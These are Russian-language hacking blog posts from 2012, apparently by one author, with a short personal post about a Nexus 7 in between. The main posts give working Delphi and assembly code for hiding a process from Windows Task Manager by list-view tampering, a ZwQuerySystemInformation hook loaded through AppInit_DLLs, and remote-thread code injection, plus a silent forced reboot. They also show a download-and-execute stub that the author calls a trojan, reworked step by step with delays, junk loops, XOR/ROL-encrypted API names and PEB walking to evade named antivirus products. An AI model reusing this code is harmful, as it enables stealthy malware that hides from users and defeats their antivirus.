Общее·количество·просмотров·страницы

вторник, 18 сентября 2012 г.

Сокрытие от ДЗ.Методы.


В общем как я говорил «завтра», но это вообще не завтра, а неизвестно когда, но вот сегодня выходит)))
Я не обнаружил совокупность методов сокрытия от ДЗ на уровне ring-3, поэтому решил сам все в кучу собрать. Итак речь пойдет о сокрытии из ДЗ windows.

инструменты:
1)ЯП (я использую ассемблер, делфи)
больше ничего.

Итак я знаю 3 метода сокрытия от ДЗ в ring3

1)Хак самого диспетчера задач(работа с его syslistview32)
2)Сокрытие путем перехвата функции ZwQuerySystemInformation
3)Инжект в процесс.

Так пожалуй начнем по порядку.

Хак диспетчера задач

Суть этого метода:

Каждый определенный интервал времени искать окно диспетчера задач.
При нахождении:
1)получить кол-во пунктов в listview
2)получить идентификатор потока(тот что создал этот лист)
3)открыть процесс который связан с этим идентификатором с определенными правами
4)выделить память в его про-ве.
5)перебирать все записи удаляя нашу программу.

переходим к кодесу:



program Project1;

{$APPTYPE CONSOLE}

uses
Windows,CommCtrl;

var
msg:TMSG;


procedure hide(TMlst:hwnd);
var
items,i: Integer;

buf: array[0..255] of Char;

PId: DWORD;
Process: THandle;
Point: Pointer;
NOBR: Cardinal;
Item: TLVItem;
S: String;

begin
items := SendMessage(TMlst, LVM_GETITEMCOUNT, 0, 0); // получаем кол-во пунктов в листе


GetWindowThreadProcessId(TMlst, @PId); // получаем идентификатор потока который создал лист

Process := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_READ or PROCESS_VM_WRITE, False, PId); // открываем процесс с правами

Point := VirtualAllocEx(Process, nil, 4096, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE); //выделяем память в про-ве процесса


for I := 0 to items - 1 do // перебираем все записи
begin
item.mask := LVIF_TEXT;
item.iItem := I;
item.iSubItem := 0; // начиная с первого столбца
item.cchTextMax := SizeOf(buf);
item.pszText := Pointer(Cardinal(Point) + SizeOf(TLVItem)); // тут рез-тат

WriteProcessMemory(Process, Point, @Item, SizeOf(TLVItem), nobr);
SendMessage(TMlst, LVM_GETITEM, I, lparam(Point));
ReadProcessMemory(Process, Pointer(Cardinal(Point) + SizeOf(TLVItem)), @buf[0], SizeOf(buf), nobr); // читаем рез-ат

S := buf;

if (S = 'Project2.exe') // определяем какой итем затирать
then SendMessage(TMlst, LVM_DELETEITEM, i, 0);
end;
VirtualFreeEx(Process, Point, 0, MEM_RELEASE); // чистим за собой
CloseHandle(Process)
end;


procedure SearchTM;
var
TM, Lstv: HWND;
begin
TM := FindWindow('#32770', nil); // класс окна
if TM = 0 then exit;
Lstv := FindWindowEx(TM, 0, '#32770', nil); // первый список
Lstv := FindWindowEx(lstv, 0, 'SysListView32', nil); //список «процессы»
if lstv <> 0 then  hide(lstv); // если нашли то скрываем(удаляем)
end;

procedure timerproc; // процедура таймера, без комментариев
begin
searchtm;
end;

procedure goTimer(Interval:integer);
begin
asm
push offset TimerProc
push interval
push 0
push 0
call SetTimer
end;
end;

begin

goTimer(1); // тут понятно,запускаем таймер с минимальным интервалом
while (GetMessage(Msg,0,0,0)) Do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.


На этом с первым методом покончено.тут думаю никаких сложностей, алгоритм предоставлен, важные участки кода откоментированны.

2)Метод хорошо описан на васме. Операции выносятся в отдельную длл, я приведу пример dll не той что инжектится удаленными потоками, как писать такие перехваты я описывал в одной из своих статей.
Здесь будет речь идти о внедрении через реестр, так называемый метод AppInit_DLLs.

Метод, наверное, один из самых элементарных и заключается в модификации некоего ключа в реестре, и все библиотеки указанные в этом ключе загружаются в адресное про-во приложений использующих user32.dll, а это 99% приложений.

Все АПИ получения списка процессов обращаются к ZwQuerySystemInformation

Эта функция может возвращать различные классы информации, каждый из которых определен своей структурой. Вот список классов возвращаемых функцией:

const // SYSTEM_INFORMATION_CLASS
  SystemBasicInformation                =           0;
  SystemProcessorInformation            =        1;
  SystemPerformanceInformation                 =          2;
  SystemTimeOfDayInformation                  =          3;
  SystemNotImplemented1               =          4;
  SystemProcessesAndThreadsInformation  =          5;
  SystemCallCounts                      =   6;
  SystemConfigurationInformation        =     7;
  SystemProcessorTimes                    =          8;
  SystemGlobalFlag                           =          9;
  SystemNotImplemented2               =          10;
  SystemModuleInformation                         =          11;
  SystemLockInformation                      =     12;
  SystemNotImplemented3                    =     13;
  SystemNotImplemented4                           =          14;
  SystemNotImplemented5                    =     15;
  SystemHandleInformation                          =          16;
  SystemObjectInformation               =          17;
  SystemPagefileInformation            =          18;
  SystemInstructionEmulationCounts      =   19;
  SystemInvalidInfoClass                =            20;
  SystemCacheInformation                =         21;
  SystemPoolTagInformation            =          22;
  SystemProcessorStatistics             =            23;
  SystemDpcInformation                   =          24;
  SystemNotImplemented6                    =     25;
  SystemLoadImage                       = 26;
  SystemUnloadImage                     =            27;
  SystemTimeAdjustment                  =          28;
  SystemNotImplemented7               =          29;
  SystemNotImplemented8                    =     30;
  SystemNotImplemented9               =          31;
  SystemCrashDumpInformation                  =          32;
  SystemExceptionInformation                     =          33;
  SystemCrashDumpStateInformation          =          34;
  SystemKernelDebuggerInformation           =          35;
  SystemContextSwitchInformation        =   36;
  SystemRegistryQuotaInformation        =    37;
  SystemLoadAndCallImage                         =          38;
  SystemPrioritySeparation                =          39;
  SystemNotImplemented10                         =          40;
  SystemNotImplemented11                         =          41;
  SystemInvalidInfoClass2                =          42;
  SystemInvalidInfoClass3                =          43;
  SystemTimeZoneInformation                     =          44;
  SystemLookasideInformation                     =          45;
  SystemSetTimeSlipEvent                =          46;
  SystemCreateSession                       =          47;
  SystemDeleteSession                       =          48;
  SystemInvalidInfoClass4               =           49;
  SystemRangeStartInformation                    =          50;
  SystemVerifierInformation             =          51;
  SystemAddVerifier                         =          52;
  SystemSessionProcessesInformation          =          53;

для скрытия процесса, необходимо сравнить имя каждого возвращаемого процесса  и имя которое надо скрыть. Первую запись обычно не трогаем, т.к. это процесс «система».
нам нужно просто сдвигать структуры следующие «за» ней, на размер предыдущей записи.

Код:

function NewQuerySystemInformation(SystemInformationClass: DWORD; SystemInformation: Pointer;
   SystemInformationLength: DWORD; ReturnLength:PCardinal): NTStatus; stdcall;
var
SP, back:PSYSTEM_PROCESSES;
begin
UnSetCodeHook(@Jumper);
Result := ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
                                   SystemInformationLength, ReturnLength);
SetCodeHook(Jumper.Address, @NewQuerySystemInformation, @Jumper);

if SystemInformationClass <> 5 then exit;
if Result <> STATUS_SUCCESS then exit;

ZeroMemory(@back, SizeOf(back));
SP := SystemInformation;
repeat
 if SP^.ProcessName.Buffer = 'name.exe' then
  back^.NextEntryDelta := back^.NextEntryDelta + SP^.NextEntryDelta;
 back := SP;
 SP := pointer(dword(SP) + SP^.NextEntryDelta);
until SP^.NextEntryDelta = 0;
end;
======================================================================== 
type
PFunctionRestoreData = ^ TFunctionRestoreData;
TFunctionRestoreData = packed record
 Address: Pointer;
 val1: Byte;
 val2: DWORD;
end;

 function UnSetCodeHook(RestoreDATA: PFunctionRestoreData): Boolean; stdcall;
 function SetProcedureHook(ModuleHandle: HMODULE; ProcedureName: PChar;
   NewProcedureAddress: Pointer; RestoreDATA: PFunctionRestoreData): Boolean; stdcall;
 function SetCodeHook(ProcAddress, NewProcAddress: Pointer;
                      RestoreDATA: PFunctionRestoreData): Boolean; stdcall;

implementation

function UnSetCodeHook(RestoreDATA: PFunctionRestoreData):Boolean;
var
ProcAddress: Pointer;
OldProtect: DWORD;
begin
Result := False;
ProcAddress := RestoreDATA^.Address;
if not VirtualProtect(ProcAddress, 5, PAGE_EXECUTE_READWRITE, OldProtect) then exit;
Byte(ProcAddress^) := RestoreDATA^.val1;
DWORD(Pointer(DWORD(ProcAddress) + 1)^) := RestoreDATA^.val2;
Result := VirtualProtect(ProcAddress, 5, OldProtect, OldProtect);
end;

function SetCodeHook(ProcAddress, NewProcAddress: pointer; RestoreDATA:PFunctionRestoreData):boolean;
var
OldProtect, JMPValue:DWORD;
begin
Result := False;
if not VirtualProtect(ProcAddress, 5, PAGE_EXECUTE_READWRITE, OldProtect) then exit;
JMPValue := DWORD(NewProcAddress) - DWORD(ProcAddress) - 5;
RestoreDATA^.val1 := Byte(ProcAddress^);
RestoreDATA^.val2 := DWORD(Pointer(DWORD(ProcAddress)+1)^);
RestoreDATA^.Address := ProcAddress;
Byte(ProcAddress^) := $E9;
DWORD(Pointer(DWORD(ProcAddress) + 1)^) := JMPValue;
Result := VirtualProtect(ProcAddress, 5, OldProtect, OldProtect);
end;

function SetProcedureHook(ModuleHandle:HMODULE;ProcedureName:PChar;NewProcedureAddress:Pointer;
   RestoreDATA: PFunctionRestoreData):Boolean;
var
ProcAddress:Pointer;
begin
ProcAddress := GetProcAddress(ModuleHandle, ProcedureName);
Result := SetCodeHook(ProcAddress, NewProcedureAddress, RestoreDATA);
end;

в общем все это не имеет смысла объяснять так как на васме все очень хорошо и толково расписано, я лишь привел немного другой код, который инжектится через реестр.доделать инжектор удаленными потоками- 20-30 минут работы, а то гляди и меньше.

ключ этот находится тут
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

В этом параметре может хранится список из нескольких DLL, разделённых пробелом или запятой. Так как пробел здесь является разделителем, в именах файлов не должно быть пробелов. Если DLL лежит в системном каталоге Windows (например, C:\Windows\System32), то достаточно указать только имя файла. Вы также можете указать полный путь до библиотеки, но учтите, что система принимает во внимание путь только первой DLL из списка, остальные пути она игнорирует. Поэтому лучше всего копировать все библиотеки, которые вы хотите внедрить, в системную папку и указывать в списке только имена файлов.

в целом алгоритм в том что бы нести dll в ресурсах (а-ля дропер) и выгружать.

У метода есть несколько минусов:
для инжекта необходим ребут: как сделать форсированный ребут:
получить привелегии SE_SHUTDOWN_NAME
вызвать ф-ю InitiateSystemShutdownExA с параметрами:
(NULL, Message, Timeout, 1, 1, SHTDN_REASON_MAJOR_APPLICATION or SHTDN_REASON_MINOR_INSTALLATION or SHTDN_REASON_FLAG_PLANNED)
1-сек и мгновенный ребут, никто ничего даже не поймет ;)

второй минус: dll будет напостой висеть в памяти, что конечно в своем роде «по быдляцки» ))

пара плюсов:
метод не слишком палевный если не делать ребут самостоятельно, рано или поздно (если речь о стационаре) комп вырубят.

и еще т.к. библиотека грузится во ВСЕ процессы ее невозможно удалить из списка.

Вот и все по второму методу.


3)Метод- инжект. смысл в том что мы инжектируем код (не библиотеку) и этот код в выделенном пр-ве выполняет нужные нам действия. Хорошо тем что не требует dll на борту, можно заинжектиться в доверенный процесс (с получением соотв. привелегий) и дальше догадайтесь что).


.386
.model flat, stdcall
option casemap :none


include include\windows.inc

include include\kernel32.inc
include include\user32.inc

includelib lib\kernel32.lib
includelib lib\user32.lib


.data
name db 'notepad.exe',0
Msg db 'Injected!',0
Cap db 'Injected!',0


.data?
SInfo STARTUPINFO <>
PInfo PROCESS_INFORMATION <>
hModule dword ?
dwSize dword ?

.code
Thread proc
invoke MessageBox, 0, addr Msg, addr Cap, 0
invoke ExitProcess, 0
Thread endp

start:
invoke GetModuleHandle, 0 ; хэндл нашего модуля
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER ; заставим компилятор думать что бы в этом регистре был адрес структуры IMAGE_DOS_HEADER
add edi, [edi].e_lfanew   ; что бы добраться до заголовка ПЕ надо значение из e_lfanew DOS заголовка
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER    ; адрес опционального заголовка
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov dwSize, eax
assume edi:NOTHING

invoke CreateProcess,0,addr name,0,0,FALSE,CREATE_SUSPENDED,0,0,addr SInfo,addr PInfo  ; создаем процесс
invoke VirtualAllocEx, PInfo.hProcess, hModule, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE ;выделяем память
invoke WriteProcessMemory, PInfo.hProcess, eax, hModule, dwSize, NULL   ; туда копируемся
invoke CreateRemoteThread, PInfo.hProcess, 0, 0, addr Thread, 0, 0, NULL ; оттуда пускаем удаленный поток

invoke ExitProcess, 0
end start

Опять же алгоритм и комментарии… инжектится в блокнот если тот запущен и выдаем сообщение, процесса нет))).

я тут не расписывал включение привилегий отладчика и внедрения в доверенный процесс, все это я уже описывал или описывал кто то еще.
так что вот в целом что удалось накопать и рассказать, спасибо за внимание мне было очень трудно перебороть лень и че то запостить ;)

вторник, 11 сентября 2012 г.

nexus

Наконец сегодня получил google nexus 7 урааа!)
пощу фотки,но качество дерьмо,ибо фотика нормального нету у меня.
аппарат зашибись.быстрый,читать с него очень хорошо.держит заряда дооолго.умеет заряжаться от юсб что есть гуд.в общем все супер,даже лучше чем я ждал!




Завтра,наверное,напишу небольшой обзорчик о методах сокрытия от диспетчера задач,седня что то лень,буду играться с нексусом )))

среда, 22 августа 2012 г.

Глумление над АВ

Сегодня хотелось бы немного уделить внимание антивирусной защите как таковой.

Мы проведем несколько простых опытов с помощью программирования и посмотрим на «крутость» антивирусных систем.

Значит берем «фантастическую четверку» : нод,касперский,др.вэб и аваст.

Извращаться будем уже как всегда с известным кодом: скачивание+запуск файла.

Я буду использовать частный сервис проверки которые не отсылает копии АВ компаниям.(акк мне дал один добрый человечек на ачате)

Начнем.

Сразу же напишем код и закинем его на проверку.

program Project2;
uses
  windows,urlmon,shellapi;

begin

URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
shellexecute(0,'open','C:\file.html',0,0,SW_SHOW);

end.

Смотрим что получается:
http://4put.ru/pictures/max/389/1195254.jpg

не знаю почему, но аваст тупо отморозился, что уже как бы «намекает».Остальные справились безукоризненно.

Дальше мы начнем немного «разбавлять» код.

Дополним его небольшим циклом

program Project2;
uses
  windows,urlmon,shellapi;
var i:integer;
begin
for i:=1 to 10 do
begin
sleep(1000);
GetTickCount;
sleep(1000);
GetModuleHandle(0);
end;

URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
shellexecute(0,'open','C:\file.html',0,0,SW_SHOW);

end.

Смотрим результаты:
http://4put.ru/pictures/max/389/1195256.jpg

Аваст-то же самое.
Отечественный производитель справился с задачей,но посмотрите НОД не смог (не стал) эмулировать из-за задержек и пропустил троян!!!

/ небольшая справочка,чисто для прикола: если в цикле использовать не 10 ,а $989680 то и каспер отпадает(но не др.вэб) но т.к. это занимает СЛИШКОМ много времени,то я его не использую,но можно попробовать подставить меньше секунды слипы,проверьте если хотите,поиграйтесь\

Идем дальше…
Добавим в код сортировку массива методом пузырька:

program Project2;
uses
  windows,urlmon,shellapi;

var i,n,p:integer;
a: array[1..100001] of integer;
b:boolean;

begin
for i:=1 to 10 do
begin
sleep(1000);
GetTickCount;
sleep(1000);
GetModuleHandle(0);
end;

begin
randomize;
for i:=1 to 100001 do
a[i]:=random(512)+5;
 n:= Length(a);
 if n < 2 then exit;
 repeat
  b:= false;
  Dec(n);
  for i:= 0 to n-1 do
   if a[i] > a[i+1] then
    begin
     p:= a[i];
     a[i]:= a[i+1];
     a[i+1]:= p;
     b:= true;
    end;
 until b;
end;


URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
shellexecute(0,'open','C:\file.html',0,0,SW_SHOW);

end.

Смотрим что получается:
http://4put.ru/pictures/max/389/1195258.jpg

Отпал теперь и др.вэб
пока отечественные продукты проявили себя лучше всех,и судя по этим 3 опытам касперский имеет довольно мощную эвристику.

Следующая фишка меня можно сказать даже порадовала.Сделал я так:
сперва зашифровал библиотеки и функции побитовым сдвигом влево (рол) и… О да это было прекрасно:



program Project2;
uses
  windows,urlmon,shellapi,idglobal;

var i,n,p:integer;
a: array[1..100001] of integer;
b:boolean;
h:Thandle;

DownLoad: function(p1:IUnknown;url:PAnsiChar;tofile: PAnsiChar;reserved:dword;lpfncb:pointer):HResult;stdcall;
exec: function(p1:integer;p2:pchar;p3:pchar;p4,p5,p6:integer):integer;stdcall;

function RORR(s:string):string;
var x:integer;
begin
for x := 1 to length(s) do
s[x] := char(ROR(byte(s[x]) ,1));
result:=s;
end;

function XORR(s:string):string;
var x:integer;
begin
for x := 1 to length(s) do
s[x] := chr(ord(s[x]) xor $0E);
result:=s;
end;

begin
for i:=1 to 10 do
begin
sleep(1000);
GetTickCount;
sleep(1000);
GetModuleHandle(0);
end;

begin
randomize;
for i:=1 to 100001 do
a[i]:=random(512)+5;
 n:= Length(a);
 if n < 2 then exit;
 repeat
  b:= false;
  Dec(n);
  for i:= 0 to n-1 do
   if a[i] > a[i+1] then
    begin
     p:= a[i];
     a[i]:= a[i+1];
     a[i+1]:= p;
     b:= true;
    end;
 until b;
end;



h:=LoadLibrary(pchar(Rorr(Xorr('дкЦФРТRЖЦЦ'))));
@DownLoad:=getprocaddress(h,pchar(rorr(xorr('¤Є–†РаТЦРМЖ¦Р‚ЬЦДЊ'))));
DownLoad(nil,pchar('http://yandex.ru'),pchar('C:\file.html'),0,nil);
freelibrary(h);
h:=LoadLibrary(pchar(rorr(xorr('иЮДЦЦhjRЖЦЦ'))));
@exec:=getprocaddress(h,pchar(rorr(xorr('ЁЮДЦЦ„юДИджДЊ'))));
exec(0,'open','C:\file.html',0,0,SW_SHOW);

end.

http://4put.ru/pictures/max/389/1195260.jpg
Результат (ёмаё!):

поясню код в этом моменте немного:
мы зашифровали rol-ом названия библиотек где содержатся эти функции и сами названия функций (не забываем,что мы их вызываем с дополнительной «А» (shellexecutea) ну и написал две функции.Принцип легок:
обратная функция ксору-ксор, обратная функция ролу-рор, соответственно я сначала сдвигал биты ролом,а потом ксорил получившейся результат, при дешифрации соответственно обратный порядок-разксорили и потом рором сдвиг сделали. вот и все.прототипы «новых» функций смотрим в мсдн и копируем параметры.
============================================================================
В общем то есть еще один метод который позволяет опустить наших «гигантов» АВ индустрии -это вызов без использования импорта.Я его тут полностью расписывать не стану.
через ПЭБ получаем указатель на «главную» библиотеку:
такой код:

asm
mov  eax, dword ptr fs:[30h]
mov  eax, dword ptr [eax+0ch]
mov  eax, dword ptr [eax+1ch]
mov eax,  [eax]
mov  eax, dword ptr [eax+08h]
mov p, eax
end;

в семерке получается указатель на kernelbase, хотя если я не ошибаюсь там есть все теже функции что и в kernel32. Так вот смысл в том что мы должны получить прототип LoadLibrary , а дальше думаю догадались- так же с помощью шифрованных функций и имен длл вызывать нужные функции. в итоге  все наши крутые перцы нервно курят в стороночке. так же можно и с getprocadress сделать(даже немного и с seh поиграть).

Итоги подведем:
Др.вэб и касперский оказались «самыми нормальными», вообще у меня стоит др.вэб каспера не поставил ввиду того что похавать оперативу он любит,хотя думаю если кошерно настроить то будет очень даже ничего.
Статья не рекламирует какой либо продукт и  не усомняет вас в выборе какого либо АВ средства (хотя кому я вру-конечно же усомняет) это я к тому что бы крикуны которые восхваляют нод32 спеси то поубавили, ибо скорость работы еще не залог успеха,в чем мы собственно убедились.И так же мораль статьи-если против вас работает мудрый хакер,то все антивирусы идут далеко и надолго,лучшая защита-ваша голова (желательна дополнительная надстройка-моск). Но если выбирать для простенькой защиты на проно сайтах то я бы не взял нод или аваст.
Вот собсно и все) спасибо за внимание.
all rights reserved. DooD